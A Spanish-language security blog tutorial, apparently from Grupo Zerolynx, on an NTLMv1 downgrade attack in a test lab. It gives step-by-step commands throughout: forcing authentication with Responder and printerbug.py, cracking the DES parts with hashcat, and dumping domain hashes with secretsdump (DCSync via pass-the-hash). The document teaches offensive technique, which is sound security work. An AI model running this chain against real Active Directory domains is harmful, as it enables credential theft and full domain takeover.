NTLMv1 Downgrade attack

NTLMv1 Downgrade attack

Celia Catalán


NetNTLMv1 downgrade 

Como hemos comentado en entradas anteriores tras forzar una autenticación y obtener el hash NetNTLM de la contraseña del usuario máquina de la víctima, se nos presentan, principalmente, tres escenarios diferentes de explotación, en este caso vamos a estar hablado de: 

  • NetNTLMv1 downgrade  

En este escenario, el atacante aprovechará el uso del protocolo de autenticación NetNTLMv1 en la red. 

Para poder abusar de dicho protocolo de autenticación, el servidor vulnerable a “Coerce Autentication” deberá tener configurado en el registro la clave “LmCompatibilityLevel” y se encuentra con un valor de 2 o menos. 

Esto se puede configurar habilitando el envió de respuestas LM y NTLM en la política de grupo denominada como “Seguridad de red: nivel de autenticación de LAN Manager”. 


Resumen 

A continuación, se explica a grandes rasgos el proceso de explotación de este ataque: 

  1. Obtener una Respuesta NetNTLMv1 de la cuenta de máquina del controlador del dominio forzando la autenticación con cualquier vulnerabilidad de “Coerce Autentication”. 
  2. Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado en el modo DES. 
  3. Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas. 
  4. Transformar las claves DES Obtenidas a formato NTLM. 
  5. Realizar un DCSync para obtener el NTDS mediante Pass The Hash haciendo uso del hash NTLM obtenido en los pasos anteriores. 

Componentes del laboratorio de pruebas 

A continuación, describimos brevemente los activos que se encuentran en el laboratorio de pruebas: 

  • Attack_Machine – Esta máquina hace referencia a una Kali Linux desde donde realizaremos el ataque para obtener una “Coerce Autentication” y tener a la escucha el software para obtener el hash del usuario maquina en formato NetNTLMv1. 
  • DC.corp.lab – Controlador de dominio con el dominio “corp.lab” configurado, el cual va a ser víctima del ataque. Se configurará un usuario denominado como “Bob” en dicho dominio sin privilegios para emular el ataque desde el compromiso de este. Dicho servidor tendrá aplicada la política de grupo nombrada anteriormente. 

Desarrollo del ataque 

Obtener una Respuesta NetNTLMv1 

Para comenzar el ataque, deberemos comprobar si el controlador de dominio es vulnerable a alguno de los ataques de “Coerce Autentication” explicados “aquí”. En este caso, la explotación la realizaremos abusando del MS-RPC denominado como MS-RPRN mediante el script Printer Bug

Se deberá comprobar que el DC tiene dicho MS-RPC habilitado mediante el siguiente comando: 


Terminal

                python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN' 

      



Tras comprobar que el controlador de dominio es vulnerable a dicha “Coerce Autentication”, se deberá configurar la máquina del atacante. Para ello se deberá editar el archivo de configuración del software conocido como Responder, de la siguiente manera:


Terminal

                Sudo nano /etc/responder/Responder.conf 

				SMB = On 

				HTTP = On 

				;Challenge = Random 

			Challenge = 1122334455667788 

      


Una vez editado el archivo de configuración de responder, se deberá ejecutar de la siguiente manera para ponerlo a la escucha. El flag –lm fuerza un downgrade en ciertas versiones de Sistema Operativo. 


Terminal

                sudo responder -I eth0 -wv --lm  

      

Una vez teniendo en ejecución “Responder”, se procederá a explotar la “Coerce Autentication”


Terminal

                'python3 printerbug.py "CORP/bob:password" @dc.corp.lab attack_machine'

      

Tras forzar la autenticación del usuario máquina del controlador de dominio contra la máquina del atacante, se obtiene el hash NetNTLMv1 de dicho usuario. 


Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado 

Tal y como se ha comentado, una vez obtenido el hash NetNTLMv1 se deberá transformar a un formato que pueda ser crackeado en el modo DES. Para ello, se hará uso de la herramienta ntlmv1-multi, la cual proporcionará los siguientes pasos a seguir para el correcto crackeo del hash. 


Terminal

                python3 ntlmv1.py --ntlmv1 'hash ntlmv1' 

      

Como se puede observar en la captura de pantalla anterior, la propia herramienta muestra como calcular los 4 últimos dígitos del hash NTLM, y facilita, por un lado, los hashes que se deben crackear a formato DES, así como el comando que se debe ejecutar.  

Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas 

Por lo tanto, lo primero, se ejecutará el cálculo de los últimos 4 dígitos del hash NTLM de la siguiente manera haciendo uso de una herramienta de hashcat:


Terminal

                /usr/lib/hashcat-utils/ct3_to_ntlm.bin 'output obtenido con ntlmv1.py' 

      

Por otro lado, se procederá a crackear a formato DES los dos hashes proporcionados por la herramienta ntlmv1-multi mediante la herramienta de crackeo hashcat con el siguiente comando: 


Terminal

          hashcat.exe -m 14000 -a 3 -1 charsets/DES_full.hcchr --hex-charset 'fichero con hashes' ?1?1?1?1?1?1?1?1       

      

NOTA: En las versiones antiguas de hashcat, se hace uso del “charset” DES_FULL.charset, en las versiones actualizadas, se hace uso de DES_full.hcchr. 

Tras el proceso de crackeo, se obtiene las siguientes claves DES: 

Transformar las claves DES Obtenidas a formato NTLM: 

Una vez obtenidas las dos claves DES, se deberá hacer uso de otras herramientas de hashcat la cual permitirá transformas dichas claves al formato NTLM. 

Terminal

                 /usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1' 

		/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2' 

      

Realizar un de DCSync para obtener el NTDS mediante Pass The Hash :

Tras obtener todas las partes del hash NTLM del usuario máquina del controlador de dominio, es posible realizar un DCSync y obtener el NTDS del dominio mediante la herramienta secretsdump.py de impacket, realizando un ataque de Pass The Hash: 

Terminal

                Python3 secretsdump.py -just-dc-ntlm -hashes ‘hash_ntlm’ ‘corp.lab/dc$@dc.corp.lab’’  

      


Dimas Pastor, Senior Analyst en Grupo Zerolynx.

Regresar al blog

Deja un comentario

Ten en cuenta que los comentarios deben aprobarse antes de que se publiquen.